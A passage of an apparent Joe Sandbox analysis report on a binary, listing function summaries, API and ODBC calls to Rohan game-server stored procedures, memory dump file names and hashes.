                                                                                                                              • Part of subcall function 0045E040: lstrlenA.KERNEL32(?,?,00000000), ref: 0045E082
                                                                                                                              • Part of subcall function 0045E040: WriteFile.KERNEL32(?,?,00000000), ref: 0045E094
                                                                                                                              • Part of subcall function 0045E5E0: wsprintfA.USER32 ref: 0045E695
                                                                                                                              • Part of subcall function 0045E5E0: wsprintfA.USER32 ref: 0045E6B6
                                                                                                                            • VirtualQuery.KERNEL32(?,?,0000001C), ref: 0045EACA
                                                                                                                            • GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 0045EAE7
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Filewsprintf$ModuleNameQueryVirtualWritelstrlenwvsprintf
                                                                                                                            • String ID: %08x %08x %s$%02x $Bytes at CS:EIP: $Intel Call Stack Information:
                                                                                                                            • API String ID: 2859151253-322265786
                                                                                                                            • Opcode ID: ee86962e6182c828da682a2cc9aaf000090cc9421260cf381f4ffb1b6597b37f
                                                                                                                            • Instruction ID: ff346007aee75027d5b9dc272e1c703478d08b92d50f12a833ef869daa5ad782
                                                                                                                            • Opcode Fuzzy Hash: ee86962e6182c828da682a2cc9aaf000090cc9421260cf381f4ffb1b6597b37f
                                                                                                                            • Instruction Fuzzy Hash: 57518375A00218DBCB04DF95DC45FEEB7B5FB48705F14419EE809A7382D738AA44CB59
                                                                                                                            Function 0043A282 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_InsertCharTitle] (?, ?, ?, ?)},000000FD), ref: 0043A2A2
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043A2EB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043A320
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043A358
                                                                                                                            • #72.ODBC32(?,00000000,00000001,0000005D,0000005D,00000013,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043A395
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,0000005D,0000005D,00000013), ref: 0043A3CD
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_InsertCharTitle] (?, ?, ?, ?)}, xrefs: 0043A299
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_InsertCharTitle] (?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-3752106691
                                                                                                                            • Opcode ID: 16798bd745c41aad510da4f48925c7fa2fae79b081cfa7114f4dfec480cb1e8b
                                                                                                                            • Instruction ID: 65c30414548142fe5f6dd09c4f061e50344557bd8b6b9f469ad7eeecab27b176
                                                                                                                            • Opcode Fuzzy Hash: 16798bd745c41aad510da4f48925c7fa2fae79b081cfa7114f4dfec480cb1e8b
                                                                                                                            • Instruction Fuzzy Hash: 8A4141B0A50254ABEB209F44CC66FA97775EB85B14F108689F6187F2C1D6F26F40CF58
                                                                                                                            Function 0042E9E3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_InsertCharQuest5] (?, ?, ?, ?)},000000FD), ref: 0042EA03
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042EA4C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042EA81
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042EAB9
                                                                                                                            • #72.ODBC32(?,00000000,00000001,0000005D,0000005D,00000013,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042EAF6
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,0000005D,0000005D,00000013), ref: 0042EB2E
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_InsertCharQuest5] (?, ?, ?, ?)}, xrefs: 0042E9FA
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_InsertCharQuest5] (?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-4236819626
                                                                                                                            • Opcode ID: 60a87621a233cdab8df7517620f6e7b04f963622e0394ed372db7206b87a55fc
                                                                                                                            • Instruction ID: 4e12b858c0486f3dbc605c4a07845be894b20a537aa2aa9c74f3b765863148a1
                                                                                                                            • Opcode Fuzzy Hash: 60a87621a233cdab8df7517620f6e7b04f963622e0394ed372db7206b87a55fc
                                                                                                                            • Instruction Fuzzy Hash: 2B4103B06412186BEB248F44CC52FD97376EBC4718F148189F7186F2C5D5B26E918F9C
                                                                                                                            Function 0043B224 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 106COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?, { ? = CALL [ROHAN_UpdIndunRestrictInfo] (?, ?, ?, ?)},000000FD), ref: 0043B24D
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043B28F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043B2C4
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043B2FC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E6,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043B334
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E6,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E6,000000FA,00000000), ref: 0043B36C
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_UpdIndunRestrictInfo] (?, ?, ?, ?)}, xrefs: 0043B244
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_UpdIndunRestrictInfo] (?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-416862037
                                                                                                                            • Opcode ID: ccd2bdf5143800c99b1602e676de3ed588ce55e13265825cc08af89a81ba5e1d
                                                                                                                            • Instruction ID: de5aae1a2524d35192739844a919c3d7e57cfebde0de732229e05ef6440f5e36
                                                                                                                            • Opcode Fuzzy Hash: ccd2bdf5143800c99b1602e676de3ed588ce55e13265825cc08af89a81ba5e1d
                                                                                                                            • Instruction Fuzzy Hash: 18411EB1A45258ABFB24DF44CC52FA97335FB84B18F244688F6197A2C0D6F369818B58
                                                                                                                            Function 00441044 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 105COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [Rohan_InsTElementalWeaponInfo] (?,?,?,?)},000000FD), ref: 00441064
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004410B0
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004410E5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0044111D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00441155
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 0044118D
                                                                                                                            Strings
                                                                                                                            • {? = CALL [Rohan_InsTElementalWeaponInfo] (?,?,?,?)}, xrefs: 0044105B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [Rohan_InsTElementalWeaponInfo] (?,?,?,?)}
                                                                                                                            • API String ID: 0-1711410061
                                                                                                                            • Opcode ID: d877618fb00ce83538e2aa027ad9c30e055c0511809f2b22c4a16715b387f8ad
                                                                                                                            • Instruction ID: 591ca50722c14c6ba1b8145f04a92ae291fa354581ed0a7202d3c5acdffb3a97
                                                                                                                            • Opcode Fuzzy Hash: d877618fb00ce83538e2aa027ad9c30e055c0511809f2b22c4a16715b387f8ad
                                                                                                                            • Instruction Fuzzy Hash: 1B41FFB06803147BEB249B54CC52FEA7374EB84B18F2042C9F7186E6C5D6B56F818B9C
                                                                                                                            Function 0043120E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 105COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_UpdateSiegeBuilding] (?,?,?,?)},000000FD), ref: 00431237
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00431276
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004312AB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004312E3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043131B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00431353
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_UpdateSiegeBuilding] (?,?,?,?)}, xrefs: 0043122E
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_UpdateSiegeBuilding] (?,?,?,?)}
                                                                                                                            • API String ID: 0-3098328386
                                                                                                                            • Opcode ID: cf663b2ddc4f0da2b9c37b5393b21b23c0911b5c8825638828ddceb60b0ea82f
